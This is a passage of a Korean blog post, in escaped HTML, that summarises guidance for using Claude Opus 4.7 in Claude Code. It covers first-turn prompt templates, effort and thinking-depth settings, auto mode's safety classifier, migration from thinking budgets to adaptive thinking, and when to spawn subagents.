data-origin-height=&quot;1098&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;같은 가이드는 두 세션 패턴을 명시적으로 구분한다. &quot;비동기 에이전트는 처음부터 단일 턴, 완전히 명세된 작업일 때 이점을 얻는다&quot;고 적는다. 백그라운드 잡, CI 통합 같은 비동기 에이전트는 첫 한 턴에 모든 명세를 다 넣는 것이 최적이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인터랙티브 세션은 품질이 올라간 만큼 토큰도 더 쓴다. 이를 받아들이거나, 질문을 의식적으로 묶어서 인터랙션 횟수를 줄이는 것이 현실적인 대응이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Anthropic은 모델을 &quot;라인 바이 라인으로 안내하는 페어 프로그래머&quot;가 아니라 &quot;위임할 수 있는 유능한 엔지니어&quot;처럼 대하라고 권한다. 더 큰 청크로 위임하고, 컨텍스트를 충분히 주는 것이 핵심이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0; border-left: 4px solid #0066cc;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;첫 턴 프롬프트 템플릿 예시&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;prolog&quot; style=&quot;background: #f5f5f5; padding: 10px; border-radius: 4px; overflow-x: auto; font-family: monospace;&quot;&gt;&lt;code&gt;[의도] 결제 모듈의 retry 로직을 idempotent하게 리팩토링한다.
[제약] Spring Boot 3.2, JDK 21, 기존 PaymentService 인터페이스 유지.
[인수 기준] (1) 동일 트랜잭션 ID로 두 번 호출되어도 한 번만 처리. (2) 기존 단위 테스트 모두 통과.
[관련 파일] src/main/java/com/example/payment/PaymentService.java, src/test/java/com/example/payment/PaymentServiceTest.java
[질문] 분산락은 Redisson을 쓰는 게 좋을지, DB unique 제약을 쓰는 게 좋을지 권장안과 trade-off를 함께 알려달라.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 한 메시지로 의도&amp;middot;제약&amp;middot;인수 기준&amp;middot;파일 위치&amp;middot;질문이 전부 담긴다. 이후 턴이 줄어드는 만큼 토큰 사용도 함께 줄어든다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 5: 사고 깊이 제어하기 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; font-weight: bold; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin: 35px 0 20px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 사고 깊이 제어하기&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;effort 외에도 &quot;특정 턴만 더 깊이/얕게 사고하게 하는&quot; 보조 기법이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5-1. 더 깊이 사고하게 만들기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가이드는 사고를 늘리고 싶을 때 다음 표현을 권장한다.&lt;/p&gt;
&lt;pre class=&quot;applescript&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;Think carefully and step-by-step before responding; this problem is harder than it looks.&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #555; font-size: 14px; margin: -8px 0 15px;&quot; data-ke-size=&quot;size14&quot;&gt;(응답하기 전에 신중하게 단계별로 생각하라. 이 문제는 보기보다 어렵다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4.7은 지시를 문자 그대로 받는다. &quot;더 깊이 생각하라&quot;고 쓰면 쓴 대로 한다. 복잡한 버그 수정이나 아키텍처 설계처럼 정확도가 중요한 상황에 쓴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5-2. 더 빠르게 응답하게 만들기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반대 방향도 가능하다. 가이드는 다음 표현을 제안한다.&lt;/p&gt;
&lt;pre class=&quot;ada&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;Prioritize responding quickly rather than thinking deeply. When in doubt, respond directly.&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #555; font-size: 14px; margin: -8px 0 15px;&quot; data-ke-size=&quot;size14&quot;&gt;(깊이 생각하는 것보다 빠르게 응답하는 것을 우선시하라. 의심스러울 때는 직접 답변하라.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 같은 가이드는 &quot;어려운 단계에서 일부 정확도를 잃을 수 있다&quot;는 경고를 함께 단다. 요약&amp;middot;포매팅&amp;middot;텍스트 변환에는 적합하지만, 알고리즘 설계나 복잡한 디버깅에 쓰면 답이 얕아진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5-3. ultrathink: 한 턴만 깊게 사고시키기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code 문서는 별도의 in-context 키워드도 안내한다. &quot;세션 설정을 바꾸지 않고 일회성 깊은 추론을 하려면 프롬프트에 &lt;code&gt;ultrathink&lt;/code&gt;를 포함하라. 이는 모델에 해당 턴에서 더 많이 추론하라는 in-context 지시를 추가하며, API에 전송되는 effort 레벨을 변경하지는 않는다&quot;. 세션 전체를 무겁게 만들지 않고 한 번만 깊이 파고들고 싶을 때 쓰면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6: auto mode --&gt;
&lt;h2 style=&quot;font-size: 24px; font-weight: bold; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin: 35px 0 20px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. auto mode와 토큰 효율화&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;auto mode는 베스트 프랙티스 가이드가 명시적으로 권장하는 토큰/사이클 효율화 기능이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1966&quot; data-origin-height=&quot;1090&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TNTSv/dJMb99THkRz/lKWwkog7lYCwrWorwLgrk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TNTSv/dJMb99THkRz/lKWwkog7lYCwrWorwLgrk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TNTSv/dJMb99THkRz/lKWwkog7lYCwrWorwLgrk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTNTSv%2FdJMb99THkRz%2FlKWwkog7lYCwrWorwLgrk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1966&quot; height=&quot;1090&quot; data-origin-width=&quot;1966&quot; data-origin-height=&quot;1090&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6-1. auto mode란&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;auto mode 공식 발표에 따르면 &quot;auto mode는 Claude Code의 신규 권한 모드로, Claude가 사용자를 대신해 권한 결정을 내리며 실행 전에 안전 장치가 행동을 모니터링한다.&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심은 자동화의 안전성을 어떻게 확보하느냐다. 같은 발표는 &quot;각 도구가 실행되기 전에 분류기가 잠재적 파괴 행동을 검토한다&quot;고 적고 있으며, 그 예시로 &quot;대규모 파일 삭제, 데이터 유출, 악성 코드 실행&quot; 등을 든다. 사용자가 매 도구 호출마다 yes/no를 누르지 않아도 되지만, 위험 행동에는 분류기 게이트가 여전히 작동한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6-2. 어떻게 켜고 누구에게 권장되나&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;베스트 프랙티스 가이드는 &quot;auto mode는 사이클 시간을 줄이며, 현재 Claude Code Max 사용자에게 research preview로 제공된다. &lt;b&gt;Shift+Tab&lt;/b&gt;으로 토글할 수 있다&quot;고 적는다. 플랜별 가용성은 auto mode 공식 발표가 더 명확하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;Team 플랜에서 research preview로 지금 이용 가능&lt;/span&gt;&lt;/b&gt;하며, &lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;Enterprise 플랜과 API 사용자에게는 곧 제공될 예정&lt;/span&gt;&lt;/b&gt;&quot;이라고 적고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;별도 설정으로 알림도 구성할 수 있다. 베스트 프랙티스 가이드에 따르면 Claude에게 작업 완료 시 소리를 재생해달라고 요청하면, 클로드가 자체적으로 훅 기반 알림을 만들 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6-3. 언제 쓰고, 언제 쓰지 않는가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가이드는 &quot;잦은 체크인 없이 모델이 안전하게 실행할 것으로 신뢰할 수 있는 작업에 권장된다&quot;고 명시한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 실전 결정 매트릭스로 옮기면 다음과 같다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;auto mode 권장&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;독립 디렉터리에서의 리팩토링&amp;middot;테스트 작성&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;권장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;격리된 샌드박스/컨테이너 환경&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;권장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;명세가 충분히 적힌 비동기 작업&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;권장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;운영 DB 또는 운영 인프라 직접 접근 가능한 세션&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;비권장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;자격 증명이 환경에 노출된 세션&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;비권장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;모호한 명세 + 대규모 변경이 필요한 작업&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;비권장&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분류기가 막아주는 것은 &quot;분명한 파괴 행동&quot;이고, &quot;비즈니스 로직상 위험한 행동&quot;까지 책임지지는 않는다. 신뢰 가능한 환경 + 충분한 명세가 갖춰진 작업에서만 auto mode의 효율을 노리는 것이 안전하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7: Extended Thinking 마이그레이션 --&gt;
&lt;h2 style=&quot;font-size: 24px; font-weight: bold; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin: 35px 0 20px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. Extended Thinking 마이그레이션 주의사항&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Opus 4.7로 올라오면서 Extended Thinking 사용법이 크게 바뀌었다. 기존 코드를 그대로 보내면 4.7에서는 에러가 난다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1930&quot; data-origin-height=&quot;1102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dreVYz/dJMcabDZzjx/2OEHUVyC0WrfNZxZkNKD70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dreVYz/dJMcabDZzjx/2OEHUVyC0WrfNZxZkNKD70/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dreVYz/dJMcabDZzjx/2OEHUVyC0WrfNZxZkNKD70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdreVYz%2FdJMcabDZzjx%2F2OEHUVyC0WrfNZxZkNKD70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1930&quot; height=&quot;1102&quot; data-origin-width=&quot;1930&quot; data-origin-height=&quot;1102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7-1. budget_tokens는 더 이상 동작하지 않는다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모델 카드는 단호하다. &quot;Extended thinking budgets are removed in Claude Opus 4.7. Setting &lt;code&gt;thinking: {&quot;type&quot;: &quot;enabled&quot;, &quot;budget_tokens&quot;: N}&lt;/code&gt; will return a 400 error. Adaptive thinking is the only thinking-on mode&quot;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4.6에서 쓰던 고정 thinking 예산 설정 코드는 4.7에서 즉시 400 에러를 던진다. 마이그레이션하려면 adaptive 모드로 전환해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7-2. Adaptive thinking은 기본값이 OFF다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;같은 모델 카드는 &quot;Adaptive thinking은 Claude Opus 4.7에서 기본적으로 꺼져 있다. &lt;code&gt;thinking&lt;/code&gt; 필드가 없는 요청은 thinking 없이 실행된다. 활성화하려면 &lt;code&gt;thinking: {type: 'adaptive'}&lt;/code&gt;를 명시적으로 설정해야 한다&quot;고 적는다. 4.7로 올린 뒤 별도 설정을 안 했다면 thinking이 꺼진 채로 돌아가고 있을 가능성이 높다. 의도한 동작인지 확인해볼 필요가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7-3. Adaptive thinking은 무엇을 해주나&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Adaptive thinking 공식 문서는 동작 모델을 명확하게 정의한다.&lt;/p&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;In adaptive mode, thinking is optional for the model. Claude evaluates the complexity of each request and determines whether and how much to use extended thinking. At the default effort level (&lt;code&gt;high&lt;/code&gt;), Claude almost always thinks. At lower effort levels, Claude may skip thinking for simpler problems.&quot;&lt;br /&gt;&lt;span style=&quot;color: #555; font-size: 14px;&quot;&gt;(adaptive 모드에서 thinking은 모델에게 선택 사항이다. Claude는 각 요청의 복잡도를 평가해 extended thinking을 사용할지, 얼마나 사용할지 결정한다. 기본 effort 레벨(&lt;code&gt;high&lt;/code&gt;)에서는 거의 항상 사고한다. 낮은 effort 레벨에서는 단순한 문제에 대해 사고를 건너뛸 수 있다.)&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단순한 요청엔 사고를 건너뛰고 복잡한 단계에 사고를 집중하는 동적 할당이다. 또한 같은 문서는 &quot;Adaptive thinking은 도구 호출 사이의 인터리브드 사고도 자동으로 활성화한다. 즉, Claude가 도구 호출 사이에 사고할 수 있어 에이전트 워크플로에 특히 효과적&quot;이라고 적고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7-4. 사고를 줄이고 싶다면 시스템 프롬프트로&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;같은 문서는 시스템 프롬프트에 추가할 수 있는 가이던스 문장도 제시한다.&lt;/p&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Extended thinking adds latency and should only be used when it will meaningfully improve answer quality &amp;mdash; typically for problems that require multi-step reasoning. When in doubt, respond directly.&quot;&lt;br /&gt;&lt;span style=&quot;color: #555; font-size: 14px;&quot;&gt;(Extended thinking은 지연을 추가하므로 답변 품질을 의미 있게 개선할 때만 사용해야 한다. 주로 다단계 추론이 필요한 문제에 적합하다. 불확실할 때는 직접 응답하라.)&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;adaptive를 켠 상태에서도 시스템 프롬프트로 사고 빈도를 조절할 수 있다. 응답 지연이 중요한 인터랙티브 시나리오에서 유용하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8: 서브에이전트 --&gt;
&lt;h2 style=&quot;font-size: 24px; font-weight: bold; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin: 35px 0 20px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 서브에이전트 &amp;mdash; 명시하지 않으면 안 한다&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Opus 4.7은 서브에이전트를 기본적으로 더 신중하게 생성한다. 이전 버전에서 자동으로 병렬 처리하던 작업도 이제는 직접 처리하는 경향이 있다.&lt;/p&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Opus 4.7 tends to be more judicious about when to delegate work to subagents. If your use case benefits from parallel subagents (for example, fanning out across files or independent items), we recommend spelling that out.&quot;&lt;br /&gt;&lt;span style=&quot;color: #555; font-size: 14px;&quot;&gt;(Opus 4.7은 서브에이전트에게 작업을 위임하는 시점에 대해 더 신중한 경향이 있다. 병렬 서브에이전트가 유용한 경우(예: 파일 전반 팬아웃, 독립 항목 처리)라면 명시적으로 지정할 것을 권장한다.)&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;병렬 처리가 필요한 경우 반드시 명시해야 한다는 뜻이다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://claude.com/blog/best-practices-for-using-claude-opus-4-7-with-claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 가이드&lt;/a&gt;가 제공하는 예시 지침이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Do not spawn a subagent for work you can complete directly in a single response (e.g., refactoring a function you can already see).&quot;&lt;br /&gt;&lt;span style=&quot;color: #555; font-size: 14px;&quot;&gt;(단일 응답으로 직접 완료할 수 있는 작업에는 서브에이전트를 생성하지 마라. 예: 이미 보이는 함수 리팩토링.)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&quot;Spawn multiple subagents in the same turn when fanning out across items or reading multiple files.&quot;&lt;br /&gt;&lt;span style=&quot;color: #555; font-size: 14px;&quot;&gt;(여러 항목에 걸쳐 팬아웃하거나 여러 파일을 읽을 때는 같은 턴에 복수 서브에이전트를 생성하라.)&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서브에이전트를 만들지 말아야 할 때와 만들어야 할 때를 명확히 구분하고 있다. 단일 응답으로 완료할 수 있는 함수 리팩토링에는 서브에이전트가 불필요하다. 반대로 여러 파일에 걸쳐 팬아웃하거나 독립적인 항목들을 동시에 처리할 때는 같은 턴에 복수 서브에이전트를 생성하도록 지시해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9: 즉시 적용 체크리스트 --&gt;
&lt;h2 style=&quot;font-size: 24px; font-weight: bold; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin: 35px 0 20px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 적용 체크리스트&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금까지 정리한 내용을 한 번에 적용할 수 있는 체크리스트로 압축해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;오늘 바로 적용할 4단계 점검&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. &lt;b&gt;Claude Code 버전 확인&lt;/b&gt;: Opus 4.7은 Claude Code v2.1.111 이상이 필요하다. &lt;code&gt;claude update&lt;/code&gt;로 최신화한다. &lt;br /&gt;2. &lt;b&gt;/effort 재실행&lt;/b&gt;: Opus 4.7로 처음 전환하면 자동으로 &lt;code&gt;xhigh&lt;/code&gt;가 적용된다. 본인 워크로드에 맞춰 &lt;code&gt;/effort&lt;/code&gt;로 다시 선택한다. &lt;br /&gt;3. &lt;b&gt;간단 작업은 effort를 낮춘다&lt;/b&gt;: 정형 변환&amp;middot;간단 조회는 &lt;code&gt;medium&lt;/code&gt;, 단순 코드 포매팅은 &lt;code&gt;low&lt;/code&gt;로 내린다. &lt;code&gt;xhigh&lt;/code&gt;는 진짜 코딩&amp;middot;에이전트 작업에 보존한다. &lt;br /&gt;4. &lt;b&gt;무거운 세션은 max_tokens 64k부터&lt;/b&gt;: &lt;code&gt;xhigh&lt;/code&gt;/&lt;code&gt;max&lt;/code&gt;로 실행할 때는 공식 권장대로 &lt;code&gt;max_tokens&lt;/code&gt;를 64k에서 시작해 튜닝한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;첫 턴 프롬프트 체크리스트&lt;/h3&gt;
&lt;ul style=&quot;margin: 15px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-ke-size=&quot;size16&quot;&gt;의도(목표) 한 줄&lt;/li&gt;
&lt;li data-ke-size=&quot;size16&quot;&gt;제약(스택, 버전, 호환성) 한 줄&lt;/li&gt;
&lt;li data-ke-size=&quot;size16&quot;&gt;인수 기준(통과 조건) 1~3줄&lt;/li&gt;
&lt;li data-ke-size=&quot;size16&quot;&gt;관련 파일 경로&lt;/li&gt;
&lt;li data-ke-size=&quot;size16&quot;&gt;묻고 싶은 질문은 한 메시지에 묶어서&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 다섯 줄이 갖춰지지 않은 첫 턴은 4.7에서 거의 반드시 추가 턴을 부른다. 추가 턴은 추론 오버헤드를 부른다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;언제 어떤 effort를 쓰는가&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;작업 유형&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;권장 effort&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;단순 조회&amp;middot;요약&amp;middot;텍스트 변환&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;low&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;토큰 절약, 일부 능력 감소 수용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;명확한 단일 파일 수정&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;medium&lt;/code&gt;&lt;/td&gt;
